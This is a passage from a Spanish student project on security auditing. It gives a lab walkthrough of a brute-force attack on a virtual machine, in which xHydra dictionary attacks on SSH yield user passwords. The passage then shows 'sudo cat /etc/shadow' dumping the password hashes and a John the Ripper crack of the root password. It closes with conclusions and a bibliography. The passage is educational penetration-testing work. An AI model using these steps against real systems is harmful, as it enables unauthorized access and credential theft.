los nombres para generar los nombres de usuario (además de los emails que ya tenemos). Asi,
podemos por ejemplo hacer:
adamsa
adamadam
aadam
adams
banterb
bbanter
bobb
robertb
rbanter
bob
robert
coffeec
chadcoffee
ccoffee
Cuantos mas se nos ocurran, mas probabilidades tendremos de encontrar el nombre de usuario
correcto. Por ahora, probaremos con estos. Lo guardamos en un fichero de texto, por ejemplo
usuarios.txt
Diccionarios
Lo siguiente, es buscar un diccionario de passwords típicos. Buscando por la web, se pueden
encontrar miles, de todos los tamaños, e incluso organizados por categorías. Desde los passwords
mas utilizados, nombres de actores, nombres bíblicos. Pueden ser de cualquier tipo, desde palabras
reconocibles, a caracteres generados por fuerza bruta. Con mayúsculas, palabras escritas al derechas
o al revés. Para este taller, se ha cogido uno con los passwords mas comunes, y lo guardamos como
passwords.txt.
xHydra
A continuación, vamos a presentar una herramienta gráfica, que se utiliza para el ataque online por
diccionarios: xHydra. Este programa, viene por defecto en backtrack, y para iniciarlo, le damos al
botón de kde y seguimos el siguiente dibujo(Figura 26: ):
Página 90
Figura 26:
Las herramientas que Backtrack ofrece para seguridad, están organizadas siguiendo una jerarquía.
Nosotros buscamos un programa que nos ofrezca escalada de privilegios (pretendemos obtener los
privilegios de algún administrador de la empresa), que sea de ataque de diccionario (para eso hemos
creado el diccionario de usuarios y contraseñas), y por último, es online: vamos a trabajar
intentando conectarnos al servidor SSH. El Hydra podemos ejecutarlo en modo gráfico y en modo
consola. Nosotros, vamos a ejecutarlo en modo gráfico.
Figura 27:
Página 91
Una vez ejecutado el xHydra, seleccionamos las siguientes opciones:
En la pestaña target(Figura 27: ):
Elegimos single target, con la dirección ip de la máquina víctima, y elegimos el protocolo ssh2. En
la pestaña password(Figura 28: ):
Figura 28:
Aquí elegimos en username list el diccionario de usuarios que hemos creado. En password list,
elegimos el diccionario de passwords comunes que hemos sacado de internet. Por último, vamos a
marcar las casillas “Try login as passwords” para que de el mismo nombre que contraseña, y “Try
empty password” por si no tuviera password. En la pestaña tunig(Figura 29: ):
Figura 29:
Página 92
Aquí, el number of tasks, será el número de procesos en paralelo que intentarán hacer logins a la
vez. Dado que nuestro diccionario es bastante grande, deberíamos mantener pequeño este número
(se han encontrado muchos problemas en este paso, por lo que finalmente se ha reducido a 2). El
timeout es el tiempo que pasará entre intento e intento. Seleccionaremos “Exit after first found pair”
para que en cuanto encuentre algún password, termine. Ya podemos iniciar el ataque. Tras un rato
de espera, obtenemos(Figura 30: ):
Figura 30:
Aquí hemos obtenido un login y password: bbanter, bbanter. Debemos recordar que hemos obtenido
esto gracias a haber seleccionado el “try login as password”. Para ejecutar el comando desde
consola, aparece en la parte inferior de la ventana. Ya tenemos un punto de entrada al sistema.
Vamos a comprobar que efectivamente podemos entrar:
bt ~ # ssh bbanter@192.168.1.100
bbanter@192.168.1.100's password:
Linux 2.6.16.
bbanter@slax:~$ whoami
bbanter
bbanter@slax:~$
xHydra nos ha ofrecido unos resultados deseables. Parece que no es demasiado complicado de
utilizar, aunque quizás las opciones de tunning sean poco intuitivas desde el punto de vista de un
novato. Por otro lado, también tuvimos problemas con que se quedaba colgado en ocasiones
(supondremos que será por utilizar entornos virtualizados). Otro punto en su contra, es su propia
naturaleza de “ataque de diccionario”. Siempre será poco eficiente, y si un sistema está protegido
con contraseñas más complicadas, o limita el número de intentos a la hora de loguearse, xHydra tal
y como lo venimos utilizando fracasará. A su favor, debemos decir que ha obtenido finalmente el
Página 93
nombre de usuario y contraseña, por lo que podemos continuar avanzando.
Página 94
El archivo, está de la forma:
username:passwd:uid:gid:nombrereal:homedir:shell
Viendo el archivo, podemos comprobar, que donde viene passwd, viene una x, por lo que la
contraseña está contenida en /etc/shadow. También podemos ver el nombre de otros usuarios, junto
con sus uids, y gids. También podría ser interesante, el visualizar /etc/groups, o /etc/shadow si lo
necesitaremos, pero por ahora, nos hemos hecho con otros usuarios del sistema, y podríamos, por
ejemplo, realizar otro ataque de diccionario, usando el programa xHydra, con esta nueva lista de
usuarios.
Tras probar múltiples diccionarios (y algunos, al ser demasiado extensos, cuelgan las imagenes
VMWARE), encontramos la contraseña de aadams:
login: aadams
pass: nostradamus
Escalada de privilegios
Una vez tenemos varios nombres de usuarios y contraseñas, algo interesante para probar, es si la
contraseña de root usa la misma contraseña o nombre de usuario que los usuarios que tenemos.
Debemos recordar, que según la web de la empresa, son administradores, por lo que es posible, que
usaran sus contraseñas para ser root(algo muy desaconsejable, pero que se da en muchas empresas
con políticas de contraseñas muy pobres).
aadams@slax:~$ su
Password: nostradamus
Sorry.
aadams@slax:~$ su
Password: aadams
Sorry.
aadams@slax:~$ su
Password: bbanter
Sorry.
aadams@slax:~$ su
Password: ccoffee
Sorry.
Nota: se ha puesto los passwords en visible para poder mostrar lo que se ha intentado.
Como vemos, las contraseñas de los administradores no coinciden con la del root, por lo que
tendremos que idear otra forma de hacernos con la contraseña.
Descifrando Shadow
No todos los usuarios tienen permisos para poder acceder en modo lectura a este archivo, por lo que
vamos a probar si alguno de los usuarios que tenemos (recordemos que ambos son administradores,
por lo que tiene sentido) tiene permisos. Probaremos con aadams:
aadams@slax:~$ sudo cat /etc/shadow
Página 95
Hemos ejecutado la instrucción sudo para poder acceder al archivo con los máximos privilegios
posibles. En este caso, la contraseña coincidía con nostradamus.
Password: nostradamus
root:$1$r72/qKLG$TqTzMBf/6ErN9Z9.J9GiF/:14230:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
Hemos tenido suerte: aadams tenía permisos parap poder leerlo. Es hora de descargarnos el
contenido a local, para poder usar herramientas de descifrado.
Creamos en nuestra Backtrack un archivo de texto donde pegamos ese texto. Lo llamaremos
shadowSISTEMA.txt.
A continuación vamos a presentar una herramienta de ataque de diccionario también (esta vez algo
más potente), pero que trabaja en offline:
Se trata de John the ripper (Jack el destripador). Es un programa de criptografía que permite
descifrar contraseñas de varios sistemas operativos. Se suele utilizar por administradores de
sistemas para comprobar la robustez de los passwords de sus usuarios. Es una herramienta open
source, y tiene versiones para muchas plataformas. Es capaz de autodetectar el método de cifrado
utilizado para cifrar las contraseñas.
Página 96
Su forma de funcionar, es mediante fuerza bruta (en su versión mas básica), la cual se puede
modificar para que pruebe, por ejemplo, solamente contraseñas con caracteres (sin símbolos ni
números), para que utilice diccionarios etc... Una vez elegido el método con el que va a hacer
pruebas, john the ripper prueba cada contraseña cifrandola con el mismo método con el que sea ha
cifrado la contraseña, y comprobando a ver si coincide, en cuyo caso, devuelve la contraseña.
Para nuestro caso, lo que se hizo fue utilizar varios diccionarios desde Backtrack, sin ningún
resultado rápido, por lo que se optó por pasar el shadow obtenido anteriormente a la máquina local
(Ubuntu), y cerrando las máquinas virtuales para tener mayor potencia de cálculo.
A continuación presentamos el comando utilizado y los resultados:
Con el parámetro –user, indicamos que solamente queremos que descifre el usuario root. Con
-wordfile:diccionario.txt le indicamos que diccionario utilizar. Finalmente, introducimos el archivo
donde está copiado /etc/shadow del sistema a atacar (una copia que tenemos en local).
El resultado fue, que encontró que la contraseña de root es anthropogenic. Lo comprobamos desde
el sistema víctima:
aadams@slax:~$ su
Password: anthropogenic
root@slax:/home/aadams#
Valoraciones finales
Página 97
A pesar de haber realizado ataques “sencillos”, se ha aprendido mucho, ya que ha sido un primer
contacto hacia aspectos técnicos de una auditoría de seguridad informática.
Página 98
Parte 3: Conclusiones y cierre del
Proyecto
Página 99
Conclusiones y cierre
Tras haber finalizado el proyecto, hay muchas ideas y conceptos sobre los que me gustaría ahondar.
La seguridad, parece un campo infinito, donde cada problema que se encuentra, tiene un efecto de
bola de nieve: intentando realizar algo, se encuentra un problema mayor, y otro, y otro y así
sucesivamente. Nunca se puede saber y realizar todo lo que uno quiere, y la seguridad informática
es un claro ejemplo, donde además, siempre interviene otra parte (ya sea atacante o defensora).
Siempre habrá alguien más listo y que sabrá más, y cada día, encontraremos nuevas herramientas
que vulneran nuevos fallos. Aparecerán nuevas técnicas, que con el avance de la tecnología, harán a
los sistemas más vulnerables.
Aún así, es nuestra tarea como profesionales, el intentar minimizar los riesgos, y tratar de hacer las
cosas lo mejor posible. Y personalmente, creo, que uno de los puntos que hay que ahondar más, es
el concienciar a las personas para que, en caso de emergencia puedan actuar como deben.
Como vemos a lo largo del proyecto, se han abordado muchísimos campos, algunos más
profundamente que otros. Posiblemente, el proyecto, hubiera tomado un matiz más técnico si se
hubiera abordado uno o dos campos, pero como ingenieros, debemos de conocer (al menos con un
mínimo grado de detalle) todos los campos expuestos.
Por último, me gustaría añadir, el hecho de que, tras haber sido víctima de un hacker en mis
propios ordenadores personales, poder comentar el hecho de que, no todo se puede solucionar
aplicando soluciones técnicas sino que, todos esos consejos que cada experto en seguridad aconseja,
todas las medidas de contención que aparecen en la web y manuales, efectivamente, son útiles, y
han conseguido que, pueda salir airoso del problema. Quizás antes no es que tomara muy en serio
estos consejos, pero si que apreciaba más la utilidad de la parte técnica. Ahora, visto lo visto, y tras
haber recorrido todo el camino de la elaboración del proyecto, me doy cuenta de que muchas veces,
no son solamente los medios informáticos son utilizados para el robo de información, y dar solución
a los problemas de seguridad de los mismos, sino que, gracias a lo aprendido, y la rápida y correcta
actuación de los usuarios, podemos solventar la mayoría de los problemas.
Página 100
Bibliografía
[1] Laboratorios Dragonjar http://labs.dragonjar.org/
[2] Web oficial NMAP http://nmap.org/
[3] Web oficial Netcat http://netcat.sourceforge.net/
[4] Blog Seguridad Security By Default http://www.securitybydefault.com/
[5] Blog Seguridad Pentester http://www.pentester.es/
[5] Diccionarios http://www.outpost9.com/files/WordLists.html
[6] Web oficial John The Ripper http://www.openwall.com/john/
[7] Web oficial Hydra http://www.xhydra.com/
[8] Web oficial Bactrak http://www.remote-exploit.org/backtrack.html
[9] OSSTMM 2.2 de ISECOM
[10] Syngress Penetration Testers Open Source Toolkit Volume 2
[11] Wikipedia http://wikipedia.org/
[12] Como funciona un exploit http://www.mipistus.blogspot.com/2008/04/ejemplo-de-cmo-
funciona-un-exploit.html
[13]Fallo dns http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
[14]Firewalking http://www.scribd.com/doc/3254504/Firewalking
[15]PBX http://www.callcentermagazine.com/article/CTM20020404S0012
[16] Voicemail http://www.net-security.org/article.php?id=43
[17] Voivemail http://www.hispahack.com/oldweb/mi002.htm
[18] Voicemail http://www.securitybydefault.com/search?q=buz%C3%B3n+de+voz
[19] Fax http://www.governmentsecurity.org/hacking_multifunction_printers
[20] Bluetooth tools de SIl Janssens
[21] Cámaras vigilancia http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/
[22] Syngress Metasploit Toolkit
[23] Syngress Nessus Network Auditing second edition
Página 101